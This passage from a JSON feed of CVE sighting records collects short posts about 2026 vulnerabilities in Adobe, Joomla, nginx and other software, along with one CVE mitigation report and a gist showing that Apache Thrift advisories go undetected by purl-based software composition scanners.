"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48356", "type": "seen", "source": "https://bsky.app/profile/thecircuitry.to/post/3mqox5abuoz2l", "content": "Adobe Commerce is affected by critical vulnerability CVE-2026-48356, CVSS 9.6, that allows arbitrary code execution via unrestricted file uploads requiring user interaction.", "creation_timestamp": "2026-07-15T14:38:21.577295Z"}, {"uuid": "a6ebc78f-30cf-4b4f-a0df-edbf346773d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48368", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mqoxmbo6ad2z", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48368](https://helpx.adobe.com/security/products/audition/apsb26-71.html)\nAudition is a...\nhttps://helpx.adobe.com/security/products/audition/apsb26-71.html #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-07-15T14:46:46.213960Z"}, {"uuid": "6194e4e8-4b5d-428f-b5ad-cc1a73d40e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48262", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqpgswtqgn2j", "content": "CVE-2026-48262 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/15/cve-medium-cvss.html", "creation_timestamp": "2026-07-15T19:18:55.908089Z"}, {"uuid": "1433074f-1c05-46b0-bb56-af7c3dbde5f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48336", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mqp7bipiyr2c", "content": "CVE-2026-48336 - High severity out-of-bounds write in Illustrator. Could lead to arbitrary code execution. CVSS 7.8. Update immediately. #CVE #Adobe #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48336/", "creation_timestamp": "2026-07-15T17:03:54.381228Z"}, {"uuid": "4ce0961a-28f4-437b-914d-e467790e99fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48336", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/116925074584278951", "content": "CVE-2026-48336 - High severity out-of-bounds write in Illustrator. Could lead to arbitrary code execution. CVSS 7.8. Update immediately. #CVE #Adobe #infosec\nhttps://www.valtersit.com/cve/CVE-2026-48336/", "creation_timestamp": "2026-07-15T17:04:10.759792Z"}, {"uuid": "cec5a001-2826-4d3c-9eb4-9d65bda5e3a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48320", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqpeqzsbtx2y", "content": "CVE-2026-48320 - coldfusion\nA security issue in ColdFusion can allow an attacker to inject malicious code into a web page if a user opens a malicious file. This could potentially allow the attacker to\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#coldfusion #adobe #CVE #infosec", "creation_timestamp": "2026-07-15T18:42:04.404338Z"}, {"uuid": "eb549dc2-3ab4-431d-95a6-f18ae2321e5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqphgvhrnc2o", "content": "CISA\u304c\u3001PHP\u30b3\u30fc\u30c9\u306e\u5b9f\u884c\u3092\u53ef\u80fd\u306b\u3059\u308bJoomla JCE\u306e\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u3068\u8b66\u544a\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u706b\u66dc\u65e5\u3001 Widget Factory Joomla Content Editor\uff08JCE\uff09\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u6700\u9ad8\u30ec\u30d9\u30eb\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u4e8b\u4f8b\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8a3c\u62e0\u304c\u3042\u308b\u305f\u3081\u3060\u3002\n\nCVE-2026-48907 \uff08CVSS\u30b9\u30b3\u30a2\uff1a10.0\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u4e0d\u9069\u5207\u306a\u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u304c\u539f\u56e0\u3067\u3001\u4efb\u610f\u306e\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u306b\u306a\u308b\u30b1\u30fc\u30b9\u3067\u3059\u3002", "creation_timestamp": "2026-07-15T19:30:11.023662Z"}, {"uuid": "f560f81a-105d-42b3-a872-8cb3e6be40c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48142", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mqpi3q3fx22o", "content": "\u300cnginx\u300d\u306b\u8907\u6570\u306e\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u8106\u5f31\u6027 - \u4fee\u6b63\u7248\u304c\u516c\u958b\n\n\u30a6\u30a7\u30d6\u30b5\u30fc\u30d0\u300cnginx\u300d\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u6709\u511f\u7248\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u7248\u306e\u3044\u305a\u308c\u3082\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\n\nF5\u306f\u73fe\u5730\u6642\u95932026\u5e746\u670817\u65e5\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u30013\u4ef6\u306e\u8106\u5f31\u6027\u300cCVE-2026-42055\u300d\u300cCVE-2026-42530\u300d\u300cCVE-2026-48142\u300d\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002\n\n\u300cCVE-2026-42055\u300d\u306f\u3001\u300cproxy\u300d\u300cgrpc\u300d\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u78ba\u8a8d\u3055\u308c\u305f\u30d2\u30fc\u30d7\u30d9\u30fc\u30b9\u306e\u30d0\u30c3\u30d5\u30a1\u30aa\u30fc\u30d0\u30fc\u30d5\u30ed\u30fc\u306e\u8106\u5f31\u6027\u3002\u7279\u5b9a\u306e\u69cb\u6210\u3068\u3057\u305f\u5834\u5408\u306b\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3002\u60aa\u7528\u3055\u308c\u308b\u3068\u30ef\u30fc\u30ab\u30fc\u30d7\u30ed\u30bb\u30b9\u306e\u518d\u8d77\u52d5\u3092\u5f15\u304d\u8d77\u3053\u3057\u305f\u308a\u3001\u30e1\u30e2...", "creation_timestamp": "2026-07-15T19:41:45.392116Z"}, {"uuid": "0d35dc52-e43f-494e-baec-65369d5ddec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48866", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqpl3db3ao22", "content": "CVE-2026-8055 - Rejected reason: ** REJECT ** DO NOT USE THIS CAND\nCVE ID : CVE-2026-8055\n \n Published : July 15, 2026, 6:16 p.m. | 1\u00a0hour, 17\u00a0minutes ago\n \n Description : Rejected reason: ** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2026-48866. Reason: This ...", "creation_timestamp": "2026-07-15T20:35:12.282868Z"}, {"uuid": "933fb07d-4a21-48d8-92a7-3559635955c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48253", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqpniafsge2f", "content": "CVE-2026-48253 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/15/408b82.html", "creation_timestamp": "2026-07-15T21:18:13.182392Z"}, {"uuid": "33a3d439-632c-49d4-9aa2-6bd7051d7404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48261", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqpnic5jpt2z", "content": "CVE-2026-48261 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/15/171647.html", "creation_timestamp": "2026-07-15T21:18:14.790458Z"}, {"uuid": "dcd98172-2211-434e-8c86-984ddee8096e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48263", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqpu5kzrgi2f", "content": "CVE-2026-48263 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/15/191646.html", "creation_timestamp": "2026-07-15T23:17:31.598119Z"}, {"uuid": "510de7a9-a6e7-42d0-97b2-25ae7118c4de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/information_security_channel/55533", "content": "Critical Adobe ColdFusion Vulnerability Exploited in Attacks\nhttps://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/\n\nHackers are exploiting a recently patched critical vulnerability (CVE-2026-48282) in Adobe ColdFusion that carries a CVSS score of 10/10.\nThe post Critical Adobe ColdFusion Vulnerability Exploited in Attacks (https://www.securityweek.com/critical-adobe-coldfusion-vulnerability-exploited-in-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-16T00:00:08.567303Z"}, {"uuid": "b8f367ea-e65b-44de-aef5-7e9be7463462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "exploited", "source": "https://t.me/thehackernews/9260", "content": "\ud83d\udea8 A Joomla flaw is now on CISA\u2019s exploited bug list.\n\nCVE-2026-48907 has a max CVSS score of 10.0 and can let attackers upload and run PHP code through JCE editor profiles.\n\nAffected versions: 1.0.0 through 2.9.99.4\nFixed in: 2.9.99.5\n\nDetails here: https://thehackernews.com/2026/06/cisa-warns-of-actively-exploited-joomla.html", "creation_timestamp": "2026-07-16T00:00:09.921038Z"}, {"uuid": "be9c58ae-a0eb-430b-927b-6d160dfd2a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48795", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqpy2lqb3e2s", "content": "CVE-2026-48795 - Incomplete fix for CVE-2026-25754 in @adonisjs/bodyparser\nCVE ID : CVE-2026-48795\n \n Published : July 15, 2026, 10:16 p.m. | 17\u00a0minutes ago\n \n Description : AdonisJS is a TypeScript-first web framework. From 10.1.3 until 10.1.5 and 11.0.3, AdonisJS @adonisjs/b...", "creation_timestamp": "2026-07-16T00:27:26.328942Z"}, {"uuid": "b343cded-b5c0-4a22-aed8-609e9f44fcdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48318", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqq7ch56to2k", "content": "\ud83d\udccc CVE-2026-48318 - ColdFusion is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary... https://www.cyberhub.blog/cves/CVE-2026-48318", "creation_timestamp": "2026-07-16T02:37:07.145274Z"}, {"uuid": "502dd3c6-b8d2-48cb-9003-1a9147f4a305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48257", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqqdjz5pqq2q", "content": "CVE-2026-48257 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/07/15/92ae5c.html", "creation_timestamp": "2026-07-16T03:52:54.936836Z"}, {"uuid": "e7fc4574-030c-4f11-aea0-845db8397715", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48310", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mqqdjzqrcy2v", "content": "CVE-2026-48310 (HIGH) CVSS 8.6: https://experiencedigest.org/2026/07/15/211707.html", "creation_timestamp": "2026-07-16T03:52:55.524406Z"}, {"uuid": "36d87bcc-dcae-4498-b962-746591049709", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48284", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqedfbi532u", "content": "\ud83d\udccc CVE-2026-48284 - ColdFusion is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user.... https://www.cyberhub.blog/cves/CVE-2026-48284", "creation_timestamp": "2026-07-16T04:07:06.560279Z"}, {"uuid": "d0370768-6de4-4ff6-9f9e-5e64917617ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48863", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqqeqnnenp2l", "content": "CVE-2026-48863 - Libsolv: stack-based buffer overflow in libsolv eddsa pgp signature verification allows denial of service\nCVE ID : CVE-2026-48863\n \n Published : July 16, 2026, 1:16 a.m. | 2\u00a0hours, 18\u00a0minutes ago\n \n Description : A flaw was found in libsolv. A stack-based buff...", "creation_timestamp": "2026-07-16T04:14:31.574712Z"}, {"uuid": "79945dc0-e929-486d-a0c8-850cca11a209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48322", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqfyzis4p2h", "content": "\ud83d\udccc CVE-2026-48322 - ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in ... https://www.cyberhub.blog/cves/CVE-2026-48322", "creation_timestamp": "2026-07-16T04:37:06.587860Z"}, {"uuid": "4bc8661f-9bec-4f82-a4c7-696d26d07d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48356", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqjecu6yp26", "content": "\ud83d\udccc CVE-2026-48356 - Adobe Commerce is affected by an Unrestricted Upload of File with Dangerous Type vulnerability that could result in arbitrary code execution in the co... https://www.cyberhub.blog/cves/CVE-2026-48356", "creation_timestamp": "2026-07-16T05:37:06.261440Z"}, {"uuid": "f352b198-9dce-442c-8141-395a687f1829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48325", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqkzxpxb726", "content": "\ud83d\udccc CVE-2026-48325 - ColdFusion is affected by a Missing Authentication for Critical Function vulnerability that could result in arbitrary code execution in the context of... https://www.cyberhub.blog/cves/CVE-2026-48325", "creation_timestamp": "2026-07-16T06:07:06.719789Z"}, {"uuid": "f35fea94-54e3-4bbe-8220-77e368dbff4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48321", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqmpma2kc2z", "content": "\ud83d\udccc CVE-2026-48321 - ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerab... https://www.cyberhub.blog/cves/CVE-2026-48321", "creation_timestamp": "2026-07-16T06:37:07.062847Z"}, {"uuid": "22c5f86c-7c76-4b42-bf6e-88557e0a5094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/libs_of_hackers/1306", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433 \u0432 Adobe ColdFusion \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \n \n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u0435\u0436\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Adobe ColdFusion (CVE-2026-48282) \u0441\u043f\u0443\u0441\u0442\u044f \u043e\u043a\u043e\u043b\u043e \u0434\u0432\u0443\u0445 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043d\u0435\u0439. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435. \n \nhttps://xakep.ru/2026/07/08/adobe-coldfusion/\n\n@libs_of_hackers", "creation_timestamp": "2026-07-16T07:00:04.620401Z"}, {"uuid": "e1af6c53-cdbd-4345-9bf6-c1f9750dc13a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48939", "type": "seen", "source": "https://gist.github.com/alon710/1e41cbc3b54c1c25a3d44fc7a523b70b", "content": "# CVE-2026-48939: CVE-2026-48939: Unauthenticated Remote Code Execution in Joomla iCagenda Extension\n\n> **CVSS Score:** 10.0\n> **Published:** 2026-06-20\n> **Full Report:** https://cvereports.com/reports/CVE-2026-48939\n\n## Summary\nCVE-2026-48939 is a critical vulnerability in the iCagenda events calendar extension for Joomla that allows unauthenticated remote attackers to execute arbitrary code via unrestricted file uploads. The flaw stems from a lack of server-side validation of file uploads and missing authorization checks at the controller level. Successful exploitation results in complete compromise of the affected web application host.\n\n## TL;DR\nUnauthenticated arbitrary file upload in iCagenda allows remote code execution via direct POST requests to controller endpoints.\n\n## Exploit Status: ACTIVE\n\n## Technical Details\n\n- **CWE ID**: CWE-434, CWE-284\n- **Attack Vector**: Network\n- **CVSS Score**: 10.0 (Critical)\n- **Exploit Status**: Active exploitation in the wild\n- **CISA KEV Status**: Listed on July 10, 2026\n\n## Affected Systems\n\n- Joomla instances running iCagenda 3.2.1 through 3.9.14\n- Joomla instances running iCagenda 4.0.0 through 4.0.7\n- **iCagenda**: >= 3.2.1, < 3.9.15 (Fixed in: `3.9.15`)\n- **iCagenda**: >= 4.0.0, < 4.0.8 (Fixed in: `4.0.8`)\n\n## Mitigation\n\n- Upgrade iCagenda extension to version 4.0.8 (for Joomla 4.x/5.x/6.x) or 3.9.15 (for legacy Joomla 3.x)\n- Configure web server rules to deny script execution inside the /images/ directory\n- Temporarily rename or delete the com_icagenda directories if patching is delayed\n\n**Remediation Steps:**\n1. Navigate to Joomla administrator panel and check the version of the iCagenda component.\n2. Download the patched package (4.0.8 or 3.9.15) from the official iCagenda website.\n3. Install the update via the Joomla Extension Manager to replace vulnerable files.\n4. Verify the directory /images/icagenda/frontend/attachments/ for any suspicious PHP files.\n5. Implement server-level execution blockings using Apache .htaccess or Nginx configuration blocks.\n\n## References\n\n- [mySites.guru Zero-Day Advisory](https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/)\n- [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48939)\n- [National Vulnerability Database (NVD) CVE Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-48939)\n- [CVE Org Authority Entry](https://www.cve.org/CVERecord?id=CVE-2026-48939)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-48939) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-16T07:01:40.210426Z"}, {"uuid": "2a0d2b6b-1512-442e-a23c-a1e7fb4b922a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48324", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqq2w6rh42h", "content": "\ud83d\udccc CVE-2026-48324 - ColdFusion is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in a... https://www.cyberhub.blog/cves/CVE-2026-48324", "creation_timestamp": "2026-07-16T07:37:07.223730Z"}, {"uuid": "3f006763-aee4-4d78-b877-a643b9a53777", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48509", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3mttk7rbmqb2k", "content": "A critical-severity fix just shipped for Messagepack. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-48509", "creation_timestamp": "2026-08-24T14:46:02.199141Z"}, {"uuid": "03dc0086-7d9c-4795-835c-6177b6ee98cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48319", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqrqk7z6m2z", "content": "\ud83d\udccc CVE-2026-48319 - ColdFusion is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could result in arbitra... https://www.cyberhub.blog/cves/CVE-2026-48319", "creation_timestamp": "2026-07-16T08:07:06.640997Z"}, {"uuid": "2c3df317-dfe5-4ee7-b920-914d60337722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48358", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqtg7bfzi22", "content": "\ud83d\udccc CVE-2026-48358 - Adobe Commerce is affected by an Improper Encoding or Escaping of Output vulnerability that could result in arbitrary code execution in the context of... https://www.cyberhub.blog/cves/CVE-2026-48358", "creation_timestamp": "2026-07-16T08:37:07.157048Z"}, {"uuid": "612e255e-c78c-4d2f-9c6e-45974b8ea00e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48327", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqqyh4likh2z", "content": "\ud83d\udccc CVE-2026-48327 - ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. E... https://www.cyberhub.blog/cves/CVE-2026-48327", "creation_timestamp": "2026-07-16T10:07:06.659415Z"}, {"uuid": "c4839939-3634-460c-9e5e-93de8166ac2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48586", "type": "seen", "source": "https://gist.github.com/prajnak/06b8b2c74ce416478b826c460d0061f8", "content": "# Apache Thrift 2026 CVEs are invisible to purl-matching SCA\n\n**TL;DR** \u2014 The August 2026 Apache Thrift advisories (fixed in `0.24.0`) carry\n**CPE identifiers only**. No `pkg:pypi` / `pkg:maven` purl is ever produced, so any\nSCA that matches code libraries by ecosystem+purl finds nothing to attach them to.\nAn image with `thrift==0.22.0` installed from PyPI scans **clean**.\n\nThis is reproducible in two `curl` calls against public APIs \u2014 no scanner licence,\nno private data.\n\n---\n\n## Reproduce in 30 seconds (no Docker needed)\n\n### 1. Ask OSV whether PyPI `thrift` 0.22.0 has known vulnerabilities\n\n```bash\ncurl -s -X POST https://api.osv.dev/v1/query \\\n  -d '{\"package\":{\"name\":\"thrift\",\"ecosystem\":\"PyPI\"},\"version\":\"0.22.0\"}'\n```\n\n```json\n{}\n```\n\nEmpty. Zero vulnerabilities.\n\n### 2. Now confirm the advisory exists \u2014 and explicitly names Python\n\n```bash\ncurl -s https://api.osv.dev/v1/vulns/CVE-2026-41608 | jq '{id, summary}'\n```\n\n```json\n{\n  \"id\": \"CVE-2026-41608\",\n  \"summary\": \"Apache Thrift: Unbounded Zlib Decompression in Python THeaderTransport\"\n}\n```\n\nThe advisory exists. Its own summary says **Python**. `0.22.0` is in range\n(fixed in `0.24.0`). Yet step 1 returns nothing.\n\n---\n\n## Root cause\n\n```bash\ncurl -s https://api.osv.dev/v1/vulns/CVE-2026-41608 | jq '.affected[0]'\n```\n\n```json\n{\n  \"ranges\": [\n    {\n      \"type\": \"GIT\",\n      \"repo\": \"https://github.com/apache/thrift\",\n      \"events\": [\n        { \"introduced\": \"0\" },\n        { \"fixed\": \"6d2ec95f450b4ce404afb8929ff479e68770141a\" }\n      ],\n      \"database_specific\": {\n        \"cpe\": \"cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*\",\n        \"extracted_events\": [\n          { \"introduced\": \"0\" },\n          { \"fixed\": \"0.24.0\" }\n        ],\n        \"source\": \"CPE_RANGE\"\n      }\n    }\n  ],\n  \"versions\": [\"last-before-0-10\"]\n}\n```\n\nThree things to notice:\n\n1. **There is no `package` key.** No ecosystem, no name, no purl. A purl-matching\n   engine has nothing to key on.\n2. `ranges[0].type` is **`GIT`**, not `ECOSYSTEM` \u2014 the range is a commit SHA,\n   auto-derived from a CPE (`\"source\": \"CPE_RANGE\"`).\n3. `versions` is `[\"last-before-0-10\"]` \u2014 a placeholder artifact of that\n   conversion, not a usable version list.\n\nThe upstream advisory was filed against the Apache Thrift *product* via CPE.\nNothing downstream ever binds it to `pkg:pypi/thrift`, `pkg:maven/org.apache.thrift/libthrift`,\n`pkg:npm/thrift`, or any other ecosystem package.\n\n---\n\n## Reproduce against a container image\n\n```dockerfile\n# Dockerfile\nFROM python:3.12-slim\nRUN pip install --no-cache-dir thrift==0.22.0\n```\n\n```bash\ndocker build -t thrift-cve-repro:0.22.0 .\n```\n\nConfirm the package and its metadata are present and discoverable:\n\n```bash\ndocker run --rm thrift-cve-repro:0.22.0 \\\n  sh -c 'pip show thrift | head -2; ls /usr/local/lib/python3.12/site-packages | grep -i thrift'\n```\n\n```\nName: thrift\nVersion: 